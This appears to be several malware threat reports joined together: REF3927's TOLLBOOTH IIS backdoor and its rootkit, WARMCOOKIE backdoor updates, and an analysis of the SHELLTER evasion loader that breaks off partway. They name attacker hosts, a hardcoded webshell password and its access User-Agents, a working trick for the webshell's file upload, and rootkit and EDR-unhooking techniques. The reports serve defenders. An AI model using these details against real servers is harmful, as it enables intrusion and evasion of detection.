A similar chain of events was first reported by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also detailed in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with Validin, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.

Key takeaways

• Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys
• Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware
• Threat actors adapted the open source “Hidden” rootkit project to hide their presence
• The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities
• This campaign included large-scale exploitation across geographies and industry verticals

Campaign Overview

Attack vector

Last month, Elastic Security Labs and Texas A&M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, ValidationKey and DecryptionKey, which are used to secure ASP.NET features such as ViewState and authentication cookies.

ViewState is a mechanism used by ASP.NET web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, ViewState allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (__VIEWSTATE) on the page that is serialized and encoded in Base64. This ViewState field is susceptible to deserialization attacks, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.

Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload generator. The __VIEWSTATE field contains a URL-encoded and Base64-encoded payload that will perform a whoami and write a file to a directory. With a successful exploitation request, the server will respond with an HTTP/1.1 500 Internal Server Error.

Post-compromise activity

Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.

With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.

Godzilla EKP analysis

One of the main tools used by this group is a Godzilla-forked framework called Z-Godzilla_ekp written by ekkoo-z. This tool piggybacks off the previous Godzilla project by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:

• Discovery/enumeration capabilities
• Privilege escalation techniques
• Command execution/file execution
• Shellcode loader, meterpreter, in-memory PE execution
• File management, zipping utility
• Cred stealing plugin (lemon) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials
• Browser password scraping
• Port scanning, HTTP proxy configuration, note-taking

Below is a network traffic example showing the operator traffic to the webshell (error.aspx) using Z-Godzilla_ekp. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.

Rootkit analysis

The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit HIDDENDRIVER and the userland application HIDDENCLI.

This malicious software is a modified version of the open source rootkit Hidden, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.

Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:

• InitializeConfigs
• InitializeKernelAnalyzer
• InitializePsMonitor
• InitializeFSMiniFilter
• InitializeRegistryFilter
• InitializeDevice
• InitializeStealthMode

To prepare its internal components before populating its driver object and associated fields, such as major functions.

The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.

InitializeConfigs

The rootkit's initial action is to run the InitializeConfigs function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.

The following table summarizes the configuration parameters that the rootkit extracts from the registry:

InitializeKernelAnalyzer

Its purpose is to dynamically scan the kernel memory to find the addresses of the PspCidTable and ActiveProcessLinks that are needed.

The PspCidTable is the kernel's structure that serves as a table for process and thread IDs, while ActiveProcessLinks under the _EPROCESS structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like Process Explorer.

LookForPspCidTable

It searches for the PspCidTable address by disassembling the function PsLookupProcessByProcessIdwith the library Zydis and parsing it.

LookForActiveProcessLinks

This function determines the offset of the ActiveProcessLinks field within the _EPROCESS structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the ActiveProcessLinks field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.

InitializePsMonitor

InitializePsMonitor sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.

It first initializes three AVL tree structures to hold information (rules) for excluding, protecting, and hiding processes. It uses RtlInitializeGenericTableAvl for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.

Registering object manager callback with (ObRegisterCallbacks)

This hook registers the ProcessPreCallback and ThreadPreCallback functions. The kernel's Object Manager executes this code before it completes any request to create or duplicate a handle to a process or thread.

When a process tries to get a handle on another process, the callback function ProcessPreCallback is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION.

This will ensure that processes cannot interact with/inspect, or kill the protected process.

The same mechanism applies to threads.

Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)

The rootkit registers a callback with the PsSetCreateProcessNotifyRoutineEx API on process creation. When a new process is launched, this callback runs a function CheckProcessFlags that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its excluded, protected, and hidden flags accordingly.

Behavior based on flags:

• Excluded
  • The rootkit will ignore the process and just let it run as expected.
• Protected
  • The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in ProcessPreCallback.
• Hidden
  • The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a postponeHiding flag that will be explained below.

The Image Load callback (PsSetLoadImageNotifyRoutine)

This registers the LoadProcessImageNotifyCallback using PsSetLoadImageNotifyRoutine, which the kernel calls whenever an executable image (a .exe or .dll) is loaded into a process's memory.

When the image is loaded, the callback checks the postponeHiding flag; if set, it calls UnlinkProcessFromCidTable to remove it from the master process ID table (PspCidTable).

InitializeFSMiniFilter

The function defines its capabilities in the FilterRegistration structure(FLT_REGISTRATION). This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:

• IRP_MJ_CREATE: Intercepts any attempt to open or create a file or directory.
• IRP_MJ_DIRECTORY_CONTROL: Intercepts any attempt to list the contents of a directory.

FltCreatePreOperation(IRP_MJ_CREATE)

This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to STATUS_NO_SUCH_FILE, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.

FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)

This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.

InitializeRegistryFilter

After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The InitializeRegistryFilter function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.

It registers a callback using the CmRegisterCallbackEx API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status STATUS_NOT_FOUND.

InitializeDevice

The InitializeDevice function does the driver initialization needed, and it sets up an IOCTL communication so that the userland application can communicate with it directly

The following is a table describing each IOCTL command handled by the driver.

InitializeStealthMode

After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: InitializeStealthMode. If the configuration flag Kbj_YinshenMode is enabled, it will hide every artifact associated with the rootkit, including registry keys, the .sys file, and other related components, using the same techniques described above.

Code Variations

While the malware is heavily based on the HIDDENDRIVER source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.

The original code in the IsProcessExcluded function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.

The original code's callback for filtering system information (including files, directories, and registries) used the IsDriverEnabled function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.

RMM usage

The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (80/443) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.

RMMs continue to increase in popularity for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.

Blocking the mass of currently active RMMs and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.

IIS module analysis

The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by Ahnlab and the security researcher, @Azaka. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.

Malware Config Structure

TOLLBOOTH retrieves its configuration dynamically from hxxps://c[.]cseo99[.]com/config/<victim_HTTP_host_value>.json, and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, hxxps://c[.]cseo99[.]com/config/127.0.0.1.json responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this GitHub Gist, and we will reference how some of the fields are used as appropriate.

For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\. For the managed module, these are AES-encrypted with key YourSecretKey123 and IV 0123456789ABCDEF, Gzip-compressed, and stored at C:\\Windows\\Temp\\AcpLogs\\.

Webshell

TOLLBOOTH exposes a webshell at the /mywebdll path, requiring a password of hack123456! for file uploads and execution of commands. Form submission sends a POST request to the /scjg endpoint.

The password is hardcoded in the binary, and this webshell feature is present in both v1.6.0 and v1.6.1 of the native version of TOLLBOOTH.

The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of multipart/form-data fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the multipart/form-data parts, a successful file upload can still be triggered.

Management Channel

TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):

Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;

The /health endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at c[.]cseo99[.]com, disk space information, the module's installation path, and the version of TOLLBOOTH.

The /debug endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.

The parsed configuration is accessible at /conf.

The /clean endpoint allows the operator to clear the current configuration by deleting the config files stored locally (clean?type=conf) in order to update them on the victim server, clear any other temporary caches the malware uses (clean?type=conf), or clear both - everything in the C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\ path (clean?type=all).

SEO Cloaking

The main goal of TOLLBOOTH is SEO cloaking, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.

TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.

Both the native and the managed modules are implemented almost identically. The only difference is that native modules v1.6.0 and v1.6.1 check both the User Agent and Referer against the seoGroupRefererMatchRules list, and the .NET module v1.6.1 checks the User Agent against the seoGroupUaMatchRules list and Referer against the seoGroupRefererMatchRules list.

Based on the current configuration, the values for seoGroupUaMatchRules and seoGroupRefererMatchRules are googlebot and google, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both bing and yahoo suggests that those search engines were targeted in the past as well.

The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.

The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the affLinkMainWordSeoResArr configuration field. For each keyword, it generates a "local link" pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving "affiliate link resources" from the affLinkSeoResArr field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like hxxps://f[.]fseo99[.]com/<date>/<md5_file_hash><.txt/.html> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as link farming, is designed to artificially inflate search engine rankings across the entire network of compromised sites.

Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.

URL path prefixes to the SEO pages contain words or phrases from the seoGroupUrlMatchRules config field. This is also referenced in the site redirection logic targeting visitors. These are currently:

• stock
• invest
• summary
• datamining
• market-outlook
• bullish-on
• news-overview
• news-volatility
• video/
• app/
• blank/

Templates and content for SEO pages are also externally retrieved from URIs that look like hxxps://f[.]fseo99[.]com/<date>/<md5_file_hash><.txt/.html> in the config. Here is an example of what one of the SEO pages looks like:

For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to hxxps://api[.]aseo99[.]com/client/landpage. If the request is successful, the server responds with a JSON object containing a specific landpageUrl, which becomes the destination for the redirect.

If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (window.location.href) and sent to the victim’s browser, forcing an immediate redirection.

Page Hijacker

For the native modules, if the URI path contains xlb, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, mlxya[.]oss-accelerate[.]aliyuncs[.]com/<12_random_alphanumeric_characters>, which is used to retrieve an obfuscated next-stage JavaScript payload.

The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., xlbh, mxlb) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href= or ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses document.write() to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.

Campaign targeting

While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.

We then partnered with @SreekarMad at Validin to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.

At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.

These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.

The collaboration with Validin and Texas A&M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.

Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.

Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.

Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.

Geography

The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a .co.uk domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.

Diamond model

Elastic Security Labs utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.

Remediating REF3927

Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.

Therefore, remediation must include rotation of machine keys to a new, properly generated key.

Conclusion

The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.

The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as Elastic Defend during potential incidents.

Detection logic

Detection rules

• Web Shell Detection: Script Process Child of Common Web Processes

Prevention rules

• Suspicious Execution via Windows Services
• Potential Shellcode Injection via a WebShell
• Execution from Suspicious Directory

YARA signatures

Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:

• Windows.Trojan.Tollbooth
• Windows.Trojan.HiddenCli
• Windows.Trojan.HiddenDriver

REF3927 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Defense Evasion
• Credential Access
• Collection
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Exploit Public-Facing Application
• Server Software Component: IIS Components
• OS Credential Dumping
• Hide Artifacts: Hidden Files and Directories
• Data from Local System
• Rootkit
• Valid Accounts

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/
• https://asec.ahnlab.com/en/87804/
• https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/
• https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters
• https://github.com/ekkoo-z/Z-Godzilla_ekp
• https://x.com/AzakaSekai_/status/1969294757978652947

Addendum

HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:

• https://x.com/securechicken/status/1980715257791193420
• https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/

Elastic Security Labs continues to track developments in the WARMCOOKIE codebase, uncovering new infrastructure tied to the backdoor. Since our original post, we have been observing ongoing updates to the code family and continued activity surrounding the backdoor, including new infections and its use with emerging loaders. A recent finding by the IBM X-Force team highlighted a new Malware-as-a-Service (MaaS) loader, dubbed CASTLEBOT, distributing WARMCOOKIE.

In this article, we will review new features added to WARMCOOKIE since its initial publication. Following this, we’ll present the extracted configuration information from various samples.

Key takeaways

• The WARMCOOKIE backdoor is actively developed and distributed
• Campaign ID, a recently added marker, sheds light on targeting specific services and platforms
• WARMCOOKIE operators appear to receive variant builds distinguished by their command handlers and functionality
• Elastic Security Labs identified a default certificate that can be used to track new WARMCOOKIE C2 servers

WARMCOOKIE recap

We first published research about WARMCOOKIE in the summer of 2024, detailing its functionality and how it was deployed through recruiting-themed phishing campaigns. Since then, we have observed various development changes to the malware, including the addition of new handlers, a new campaign ID field, code optimization, and evasion adjustments.

WARMCOOKIE’s significance was highlighted in May 2025, during Europol’s Operation Endgame, in which multiple high-profile malware families, including WARMCOOKIE, were disrupted. Despite this, we are still seeing the backdoor being actively used in various malvertising and spam campaigns.

WARMCOOKIE updates

Handlers

During our analysis of the new variant of WARMCOOKIE, we identified four new handlers introduced in the summer of 2024, providing quick capabilities to launch executables, DLLs, and scripts:

• PE file execution
• DLL execution
• PowerShell script execution
• DLL execution with Start export

The most recent WARMCOOKIE builds we have collected contain the DLL/EXE execution functionality, with PowerShell script functionality being much less prevalent. These capabilities leverage the same function by passing different arguments for each file type. The handler creates a folder in a temporary directory, writing the file content (EXE / DLL / PS1) to a temporary file in the newly created folder. Then, it executes the temporary file directly or uses either rundll32.exe or PowerShell.exe. Below is an example of PE execution from procmon.

String bank

Another change observed was the adoption of using a list of legitimate companies for the folder paths and scheduled task names for WARMCOOKIE (referred to as a “string bank”). This is done for defense evasion purposes, allowing the malware to relocate to more legitimate-looking directories. This approach uses a more dynamic method (a list of companies to use as folder paths, assigned at malware runtime) as opposed to hardcoding the path into a static location, as we observed with previous variants (C:\ProgramData\RtlUpd\RtlUpd.dll).

The malware uses GetTickCount as a seed for the srand function to randomly select a string from the string bank.

The following depicts an example of a scheduled task showing the task name and folder location:

By searching a few of these names and descriptions, our team found that this string bank is sourced from a website used to rate and find reputable IT/Software companies.

Smaller changes

In our last write-up, WARMCOOKIE passed a command-line parameter using /p to determine if a scheduled task needs to be created; this parameter has been changed to /u. This appears to be a small, but additional change to break away from previous reporting.

In this new variant, WARMCOOKIE now embeds 2 separate GUID-like mutexes; these are used in combination to better control initialization and synchronization. Previous versions only used one mutex.

Another noticeable improvement in the more recent versions of WARMCOOKE is code optimization. The implementation seen below is now cleaner with less inline logic which makes the program optimized for readability, performance, and maintainability.

Clustering configs

Since our initial publication in July 2024, WARMCOOKIE samples have included a campaign ID field. This field is used by operators as a tag or marker providing context to the operators around the infection, such as the distribution method. Below is an example of a sample with a campaign ID of traffic2.

Based on the extracted configurations of samples in the last year, we hypothesize that the embedded RC4 key can be used to distinguish between operators using WARMCOOKIE. While unproven, we observed from various samples that some patterns started to emerge based on clustering the RC4 key.

By using the RC4 key, we can see overlap in campaign themes over time, such as the build using RC4 key 83ddc084e21a244c, which leverages keywords such as bing, bing2, bing3,and aws for campaign mapping. An interesting note, as it relates to these build artifacts, is that some builds contain different command handlers/functionality. For example, the build using the RC4 key 83ddc084e21a244c is the only variant we have observed that has PowerShell script execution capabilities, while most recent builds contain the DLL/EXE handlers.

Other campaign IDs appear to use terms such as lod2lod, capo, or PrivateDLL. For the first time, we saw the use of embedded domains versus numeric IP addresses in WARMCOOKIE from a sample in July 2025.

WARMCOOKIE infrastructure overview

After extracting the infrastructure from these configurations, one SSL certificate stands out. Our hypothesis is that the certificate below is possibly a default certificate used for the WARMCOOKIE back-end.

Issuer     
    C=AU, ST=Some-State, O=Internet Widgits Pty Ltd 
Not Before     
    2023-11-25T02:46:19Z
Not After
    2024-11-24T02:46:19Z  
Fingerprint (SHA1)     
    e88727d4f95f0a366c2b3b4a742950a14eff04a4
Fingerprint (SHA256)
    8c5522c6f2ca22af8db14d404dbf5647a1eba13f2b0f73b0a06d8e304bd89cc0

Certificate details

Note the “Not After” date above shows that this certificate is expired. However, new (and reused) infrastructure continues to be initialized using this expired certificate. This is not entirely new infrastructure, but rather a reconfiguration of redirectors to breathe new life into existing infrastructure. This could indicate that the campaign owners are not concerned with the C2 being discovered.

Conclusion

Elastic Security Labs continues to observe WARMCOOKIE infections and the deployment of new infrastructure for this family. Over the last year, the developer has continued to make updates and changes, suggesting it will be around for some time to come. Based on its selective usage, it continues to remain under the radar. We hope that by sharing this information, organizations will be better equipped to protect themselves from this threat.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Defense Evasion
• Discovery
• Command and Control
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Phishing
• User Execution: Malicious Link
• Command and Scripting Interpreter: PowerShell
• System Information Discovery
• Scheduled Task/Job
• Screen Capture
• Command and Scripting Interpreter: Windows Command Shell
• Indicator Removal: Relocate Malware

Detecting malware

Prevention

• Suspicious PowerShell Downloads
• Scheduled Task Creation by an Unusual Process
• Suspicious PowerShell Execution via Windows Scripts
• RunDLL32 with Unusual Arguments
• Windows.Trojan.WarmCookie

YARA

Elastic Security has created the following YARA rules to identify this activity.

• Windows.Trojan.WarmCookie

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation
• https://www.europol.europa.eu/media-press/newsroom/news/operation-endgame-strikes-again-ransomware-kill-chain-broken-its-source

Elastic Security Labs is observing multiple campaigns that appear to be leveraging the commercial AV/EDR evasion framework, SHELLTER, to load malware. SHELLTER is marketed to the offensive security industry for sanctioned security evaluations, enabling red team operators to more effectively deploy their C2 frameworks against contemporary anti-malware solutions.

Key takeaways

• Commercial evasion framework SHELLTER acquired by threat groups
• SHELLTER has been used in multiple infostealer campaigns since April 2025, as recorded in license metadata
• SHELLTER employs unique capabilities to evade analysis and detection
• Elastic Security Labs releases dynamic unpacker for SHELLTER-protected binaries

Throughout this document we will refer to different terms with “shellter” in them. We will try to 
maintain the following style to aid readability:
  *  “Shellter Project” - the organization that develops and sells the Shellter evasion framework
  *  “Shellter Pro Plus/Elite” - the commercial names for the tools sold by the Shellter Project
  *  “SHELLTER” - the loader we have observed in malicious usage and are detailing in this report
  *  “SHELLTER-protected” - a descriptor of final payloads that the SHELLTER loader delivers

SHELLTER Overview

SHELLTER is a commercial evasion framework that has been assisting red teams for over a decade. It helps offensive security service providers bypass anti-virus and, more recently, EDR tools. This allows red teams to utilize their C2 frameworks without the constant development typically needed as security vendors write detection signatures for them.

While the Shellter Project does offer a free version of the software, it has a limited feature-set, 
only 32-bit .exe support, and is generally better understood and detected by anti-malware 
products. The free version is not described in this article.

SHELLTER, like many other offensive security tools (OSTs), is a dual-use product. Malicious actors, once they gain access to it, can use SHELLTER to extend the lifespan of their tools. Reputable offensive security vendors, such as the Shellter Project, implement safeguards to mitigate the risk of their products being used maliciously. These measures include geographic sales limits, organizational due diligence, and End User License Agreements (EULAs). Despite these efforts, highly motivated malicious actors remain a challenge.

In mid-June, our research identified multiple financially motivated infostealer campaigns that have been using SHELLTER to package payloads beginning late April 2025. Evidence suggests that this is the Shellter Elite version 11.0, which was released on April 16, 2025.

SHELLTER is a complex project offering a wide array of configurable settings tailored for specific operating environments, payload delivery mechanisms, and encryption paradigms. This report focuses exclusively on features observed in identified malicious campaigns. While some features appear to be common, a comprehensive review of all available features is beyond the scope of this document.

SHELLTER Loader - Technical Details

The following sections describe capabilities that resemble some of the Shellter Project’s published Elite Exclusive Features. Our assessment indicates that we are observing Shellter Elite. This conclusion is based on a review of the developer's public documentation, observation of various samples from different builds with a high degree of code similarity, and the prevalence of evasion features scarcely observed.

Polymorphic Junk Code

SHELLTER-protected samples commonly employ self-modifying shellcode with polymorphic obfuscation to embed themselves within legitimate programs. This combination of legitimate instructions and polymorphic code helps these files evade static detection and signatures, allowing them to remain undetected.

By setting a breakpoint on VirtualAlloc in a SHELLTER-protected RHADAMANTHYS sample, we can see the call stack of this malware sample.

This type of polymorphic code confuses static disassemblers and impairs emulation efforts. These instructions show up during the unpacking stage, calling one of these pairs of Windows API functions to allocate memory for a new shellcode stub:

• GetModuleHandleA / GetProcAddress
• CreateFileMappingW / MapViewOfFile

The SHELLTER functionality is contained within a new, substantial function. It’s reached after additional unpacking and junk instructions in the shellcode stub. IDA Pro or Binary Ninja can successfully decompile the code at this stage.

Unhooking System Modules via File-mappings

To bypass API hooking techniques from AV/EDR vendors, SHELLTER maps a fresh copy of ntdll.dll via NtCreateSection and NtMapViewOfSection.

There is also a second option for unhooking by loading a clean ntll.dll from the KnownDLLs directory via NtOpenSection and NtMapViewOfSection.

Payload Encryption and Compression

SHELLTER encrypts its final, user-defined payloads using AES-128 CBC mode. This encryption can occur in one of two ways:

• Embedded key/IV: A randomly generated key/IV pair is embedded directly within the SHELLTER payload.
• Server-fetched key/IV: The key/IV pair is fetched from an adversary-controlled server.

For samples that utilized the embedded option, we successfully recovered the underlying payload.

The encrypted blobs are located at the end of each SHELLTER payload.

The AES key and IV can be found as constants being loaded into stack variables at very early stages of the payload as part of its initialization routine.

